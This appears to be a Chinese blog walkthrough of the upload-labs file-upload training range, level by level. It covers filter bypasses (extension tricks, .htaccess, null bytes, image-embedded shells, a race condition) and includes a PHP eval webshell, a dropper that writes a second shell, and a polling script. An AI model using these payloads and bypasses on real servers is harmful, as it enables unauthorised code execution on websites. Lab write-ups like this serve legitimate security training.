Upload-labs

Upload-labs(建议使用windows搭建)

下载链接:
c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)

docker pull c0ny1/upload-labs
docker run -d -p 80:80 c0ny1/upload-labs

如果docker搭建时出现 ../upload文件不存在​ 解决方法:在命令行里输入以下命令(注意权限是否足够 /root)

# 进入docker
docker exec -it $(docker ps -q) /bin/bash
# 创建upload文件夹
mkdir upload
# 将这个文件夹改为应用程序的
chown www-data:www-data upload/
# 退出
exit

Pass-01

上传php文件被拦截时,burp抓不到包,可以判断是前端拦截。

绕过方法:

  1. burp抓包修改
  2. 浏览器禁用 JS
    以firefox为例:
    在网址栏处输入 about:config
    搜索 javascript.enable
    将其修改为 False
  3. 修改 JS​ 代码

Pass-02

绕过方法:

burp抓包修改 content-type​ 即可上传成功

Pass-03

根据提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

猜测是黑名单类型,上传一个随便写的后缀试一试

发现上传成功,确实是黑名单,开始绕过。

绕过方法:

  1. 大写绕过--失败捏
  2. 重写绕过--试都不试想
  3. .htaccess​​绕过--失败,因为此关卡会重命名文件
  4. 变形绕过--改为php3​时上传成功且能够链接

Pass-04

绕过方法:

  1. .htaccess​绕过
    创建一个文件,随便什么名字或者后缀,内容为(文件名含有.png的文件,都被当做php解析)
    AddType application/x-httpd-php .png
    然后上传,用burp抓包修改文件名为.htaccess
    )
    最后上传hack.png

Pass-05

黑名单过滤不严格

绕过方法:

直接一个大写绕过a.PhP​,成功

Pass-06(windows)

黑名单过滤不严格

绕过方法:

考点其实是没有过滤末尾的空格,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。

Pass-07(windows)

黑名单过滤不严格

绕过方法:

考点其实是没有过滤末尾的点,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。

Pass-08(windows)

黑名单过滤不严格

绕过方法:

考点其实是没有过滤末尾的::$DATA,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。

windows环境下在后缀名后面加入::$DATA,会把之后的数据当成文件流处理,不会检测后缀名.且保持之前的文件名。

Pass-09(windows)

对违规内容的替换只做了一次而没有循环

绕过方法:

考点其实是对末尾的点和空格只过滤了一次,没有做循环,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。

Pass-10

对违规内容的替换只做了一次而没有循环

绕过方法:

过滤方式是将php替换为空,但是仅替换一次,所以重写绕过上传 pphphp ->php

Pass-11(php版本)

%00截断

绕过方法:

注意截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态

Pass-12(php版本)

00截断

绕过方法:

同样对php有版本限制

Pass-13

图片马+文件包含

绕过方法:

图片马制作方法:

# Windows
copy file1.jpg/b + file2.txt hack.jpg
# Linux
# 将file1.txt追加到file2.jpg后面的方法:
cat file1.txt >> file2.jpg
# 若要将两个文件合并成第三个文件,而不是追加,那么用命令:
cat file1.txt file2.jpg >> hack.jpg

上传成功后访问:http://xxx/include.php?file=upload/4220230804064537.png​发现出现乱码基本可以确定上传成功,然后蚁剑连接一下就OK了。

注意访问路径的 include.php?file=​这里是利用了文件包含漏洞。本关提示有说自带文件包含漏洞。

Pass-14

图片马(文件头修改)+文件包含

绕过方法:

本关效验上传文件的文件头(16进制)

不同文件的文件头可参考【CTF杂项】常见文件文件头文件尾格式总结及各类文件头_ctf常见文件头_iqiqiya的博客-CSDN博客

制作图片马步骤如下:

16进制打开php一句话木马。添加查询到的png文件头 89504E470d0a1a0a

如果和我一样用notepad++​修改的话,需要先下载Hexeditor​插件,并且16进制下,notepad++​只能修改不能添加和删除,所以需要先输入一些废话然后进行修改。

制作完成,之后上传链接即可。

连接方式同pass13,注意需要利用文件包含漏洞。

Pass-15

图片马(文件头修改)+文件包含

绕过方法:

同pass14

Pass-16

图片马(二次渲染绕过)+文件包含

绕过方法:

此关会对上传图片进行二次渲染再保存,意思是保存的文件和上传文件有差别。

先上传一个图片看看到底改变了哪些。

然后将一句话木马插入到没有改变的地方

然后上传。

一次没成功可以多试几次。暂时没发现有什么快速找到插入点的方式,我试了6次最后成功上传。

注意这关使用gif简单一点。png和jpg因为文件组成的原因,修改更困难,但两个都有脚本。png和jpg可参考这个博客upload-labs Pass-16(二次渲染) - 夜布多 - 博客园 (cnblogs.com)

Pass-17

条件竞争

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。众所周知代码执行是需要时间的,所以只要我们在第一个文件被删除前访问到它,那么就可以做一些操作。

绕过方法:

首先一句话木马需要改一下:<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>

只要我们访问到第一个文件,那么它就会创建一个叫shell2.php​的文件,文件内容为:<?php @eval($_POST["x"])?>

再准备一个python脚本,用来不断访问咱们要传上去的第一个文件:

import requests
# 这是文件上传上去的路径,记得修改一下
url = "http://32b24052-532c-4e68-8faa-16587b83ac1b.node4.buuoj.cn:81/upload/hack.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

接下来就是用burpsuite不断重放

将包发送到Intruder​模块。clear一下

然后切换到payload​,做修改两个设置:

修改一下线程,调高一点会效果好一点。

开始重放,并且启动Python脚本。出现ok就算成功。最后蚁剑链接即可。

这东西有点看运气,可能发上万都不行,也可能几十个就出来了。不过提高线程好像效果好一点。

Pass-18

条件竞争plus

绕过方法:

基本同17,但是这次第一个上传的文件是图片马,并且Python脚本的连接也需要修改为通过文件包含漏洞去访问。

其他没区别。

Pass-19

审计源码可以发现,此关只对上传文件名(save_name)进行了检查,并没有检查上传的文件。

同时使用的move_uploaded_file()​函数还有这么一个特性,会忽略掉文件末尾的 /.

绕过方法:

抬出之前的一句话木马(改不改后缀无所谓),上传抓包:

做一下修改

Pass-20

多条件绕过,源码逻辑如下:

  1. 检查MIME
  2. 判断POST​参数save_name​是否为空
  3. 判断$file​是否为数组,不是数组以.​分隔化为数组
  4. $file​最后一个元素作为文件后缀进行检查
  5. $file​数组第一个元素和第$file[count($file)-1]​组成文件名保存文件

绕过方法:

抬出之前的一句话木马(后缀无所谓版),抓包进行修改:

  1. 修改Content-Type​绕过MIME​检查
  2. save_name​设置为数组,且save_name[1]​为空,这样count($file)-1 == 1​ 所以保存的文件名为upload-20.php.

然后蚁剑连接即可

通关撒花!!!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇